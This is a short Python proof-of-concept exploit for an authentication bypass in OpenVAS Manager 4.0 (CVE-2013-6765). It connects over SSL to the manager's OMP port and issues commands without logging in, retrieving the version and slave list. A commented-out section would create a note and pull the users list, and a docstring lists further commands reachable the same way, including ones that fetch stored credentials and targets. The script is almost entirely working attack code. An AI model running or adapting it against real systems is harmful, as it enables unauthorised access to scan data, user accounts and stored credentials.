#!/usr/bin/python# Exploit Title: OpenVAS Manager 4.0 Authentication Bypass Vulnerability PoC # Date: 09/07/2014# Exploit Author: EccE# Vendor Homepage: http://www.openvas.org/# Software Link: http://wald.intevation.org/frs/?group_id=29# Version: OpenVAS Manager 4.0 # Tested on: Debian GNU/Linux testing (jessie)# CVE : CVE-2013-6765"""
Small list of working commands
get_agents
get_configs
get_alerts
get_filters
get_lsc_credentials
get_notes
get_nvts
get_targets
get_users
get_schedules
More commands (~70 commands) can be found directly in the omc.c file. Not all of them are working though.
As designed in OMP protocol, commands must be sent this way :<COMMAND/>"""
import socket, ssl
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Require a certificate from the server. We used a self-signed certificate# so here cacerts.pem must be the server certificate itself.
ssl_sock = ssl.wrap_socket(s,
ca_certs="/var/lib/openvas/CA/cacert.pem",
cert_reqs=ssl.CERT_REQUIRED)# OpenVAS Manager listen by default on localhost tcp/9390
ssl_sock.connect(('localhost',9390))
print "#################################################################"
print "# Proof of Concept - OpenVAS Manager 4.0 Authentication Bypass#"
print "#################################################################"
print "\n"
print "--> Retrieving version...(exploiting the bug !)\n"
ssl_sock.write("<get_version/>")
data = ssl_sock.read()
print data
print "\n"
print "--> Retrieving slaves...\n"
ssl_sock.write("<get_slaves/>")
tasks = ssl_sock.read()
print tasks
print "\n""""
print "--> Creating note...\n"
ssl_sock.write("<create_note/>")
note = ssl_sock.read()
print note
print "--> Retrieving users list...\n"
ssl_sock.write("<get_users/>")
users_list = ssl_sock.read()
print users_list
"""
ssl_sock.close()
